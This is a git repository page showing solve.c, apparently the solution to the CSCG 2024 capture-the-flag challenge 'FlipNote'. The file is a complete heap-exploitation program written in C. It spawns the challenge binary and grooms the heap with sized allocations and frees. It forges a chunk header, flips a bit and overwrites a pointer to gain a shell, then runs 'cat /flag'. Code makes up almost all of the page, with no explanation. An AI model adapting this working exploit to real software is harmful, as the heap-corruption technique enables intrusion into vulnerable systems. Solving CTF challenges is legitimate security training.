cscg24-flipnote

CSCG 2024 Challenge 'FlipNote'
git clone https://git.sinitax.com/sinitax/cscg24-flipnote
Log | Files | Refs | sfeed.txt

solve.c (4171B)


      1#include <stdio.h>
      2#include <signal.h>
      3#include <assert.h>
      4#include <stdint.h>
      5#include <fcntl.h>
      6#include <unistd.h>
      7#include <pty.h>
      8#include <string.h>
      9#include <stdlib.h>
     10
     11char *
     12readuntil(FILE *io, const char *needle)
     13{
     14	size_t n = 0;
     15	char *line = NULL;
     16	ssize_t size;
     17	while ((size = getdelim(&line, &n, '\n', io)) > 0) {
     18		if (needle && strstr(line, needle))
     19			return line;
     20	}
     21	abort();
     22}
     23
     24char *
     25readuntilc(FILE *io, char c)
     26{
     27	char *line = NULL;
     28	size_t size = 0;
     29	if (getdelim(&line, &size, c, io) <= 0)
     30		abort();
     31	return line;
     32}
     33
     34void
     35writeline(FILE *io, const char *line)
     36{
     37	size_t size;
     38	for (size = 0; line[size] != '\n'; size++);
     39	fwrite(line, 1, size + 1, io);
     40}
     41
     42unsigned
     43do_allocv(FILE *ior, FILE *iow, const char *buf)
     44{
     45	writeline(iow, "a\n");
     46	free(readuntilc(ior, ':'));
     47	writeline(iow, buf);
     48	free(readuntilc(ior, ':'));
     49	char *line = readuntilc(ior, '\n');
     50	char *tok = strrchr(line, ' ');
     51	unsigned v = strtoul(tok, NULL, 0);
     52	free(line);
     53	return v;
     54}
     55
     56int
     57do_alloc(FILE *ior, FILE *iow, size_t size)
     58{
     59	char *buf = malloc(size + 1);
     60	for (size_t i = 0; i < size; i++)
     61		buf[i] = 'A';
     62	buf[size] = '\n';
     63	int res = do_allocv(ior, iow, buf);
     64	free(buf);
     65	return res;
     66}
     67
     68void
     69do_free(FILE *ior, FILE *iow, unsigned index)
     70{
     71	char buf[256];
     72	writeline(iow, "r\n");
     73	free(readuntilc(ior, ':'));
     74	snprintf(buf, 256, "%u\n", index);
     75	writeline(iow, buf);
     76}
     77
     78void
     79do_flip(FILE *ior, FILE *iow, unsigned index, unsigned offset)
     80{
     81	char buf[256];
     82	writeline(iow, "f\n");
     83	free(readuntilc(ior, ':'));
     84	snprintf(buf, 256, "%u\n", index);
     85	writeline(iow, buf);
     86	free(readuntilc(ior, ':'));
     87	snprintf(buf, 256, "%u\n", offset);
     88	writeline(iow, buf);
     89}
     90
     91void
     92spawn(const char *path, FILE **in, FILE **out)
     93{
     94	int inp[2];
     95	int outp[2];
     96	if (pipe(inp)) abort();
     97	if (pipe(outp)) abort();
     98
     99	pid_t pid = fork();
    100	if (pid < 0) abort();
    101	if (!pid) {
    102		dup2(inp[1], 1);
    103		close(inp[0]);
    104		dup2(outp[0], 0);
    105		close(outp[1]);
    106		system(path);
    107		abort();
    108	}
    109
    110	*in = fdopen(inp[0], "r");
    111	setbuf(*in, NULL);
    112	*out = fdopen(outp[1], "w");
    113	setbuf(*out, NULL);
    114}
    115
    116int
    117main(int argc, const char **argv)
    118{
    119	char *iobuf;
    120	size_t iosize;
    121
    122	FILE *ior = NULL, *iow = NULL;
    123	spawn(argv[1], &ior, &iow);
    124	if (!ior || !iow) abort();
    125
    126	setvbuf(ior, NULL, 0, _IONBF);
    127	signal(SIGCHLD, exit);
    128	signal(SIGPIPE, exit);
    129
    130	free(readuntil(ior, "╰────────────────────────────────────────────────────╯"));
    131
    132	unsigned b = do_alloc(ior, iow, 0x76);
    133	unsigned c = do_alloc(ior, iow, 0x76);
    134	unsigned d = do_alloc(ior, iow, 0x76);
    135
    136	unsigned _a = do_alloc(ior, iow, 0x1dfffe);
    137	unsigned _b = do_alloc(ior, iow, 0x1dfffe);
    138	unsigned _c = do_alloc(ior, iow, 0xefffe);
    139	unsigned _d = do_alloc(ior, iow, 0x77ffe);
    140	unsigned _e = do_alloc(ior, iow, 0x3bffe);
    141	unsigned _f = do_alloc(ior, iow, 0x3bffe);
    142
    143	unsigned a = do_alloc(ior, iow, 0x3bffe);
    144	do_free(ior, iow, a);
    145
    146	do_free(ior, iow, b);
    147
    148	char *line = malloc(0xefffe + 1);
    149	memset(line, 'A', 0xefffe); 
    150	line[0xefffe] = '\n';
    151	*(uint64_t *)(line + 0xf1000 - 0x3d000 - 8) = 0x80 ^ 0b001;
    152	assert(b == do_allocv(ior, iow, line));
    153	free(line);
    154
    155	do_free(ior, iow, a);
    156
    157	do_free(ior, iow, c);
    158
    159	do_flip(ior, iow, c, 23);
    160
    161	do_alloc(ior, iow, 0x76);
    162
    163	char buf[256];
    164
    165	for (size_t i = 0; i < 0x40; i++)
    166		buf[i] = 'A';
    167	buf[0x40] = '\n';
    168	writeline(iow, buf);
    169	readuntilc(ior, ':');
    170	for (size_t i = 0; i < 0x19; i++)
    171		buf[i] = 'X';
    172	buf[0x19] = '\n';
    173	writeline(iow, buf);
    174	line = readuntilc(ior, '\n');
    175	char *tok = strrchr(line, ' ');
    176	a = strtoul(tok, NULL, 0);
    177	free(line);
    178
    179	for (size_t i = 0; i < 0x3e; i++)
    180		buf[i] = 'E';
    181	buf[0x3e] = '\n';
    182	writeline(iow, buf);
    183	readuntilc(ior, ':');
    184	snprintf(buf, 256, "%i%*s", a, 100, "");
    185	buf[0x3c] = '\n';
    186	writeline(iow, buf);
    187	readuntilc(ior, ':');
    188	for (size_t i = 0; i < 0x18; i++)
    189		buf[i] = 'X';
    190	buf[0x18] = 0x70;
    191	buf[0x19] = 0x5d;
    192	buf[0x1a] = 0x9f;
    193	buf[0x1b] = '\n';
    194	writeline(iow, buf);
    195
    196	readuntilc(ior, '>');
    197	writeline(iow, "cat /flag \n");
    198	readuntilc(ior, '>');
    199
    200	for (size_t i = 0; i < 0x81; i++)
    201		buf[i] = '!';
    202	buf[0x81] = '\n';
    203	writeline(iow, buf);
    204
    205	sleep(1);
    206}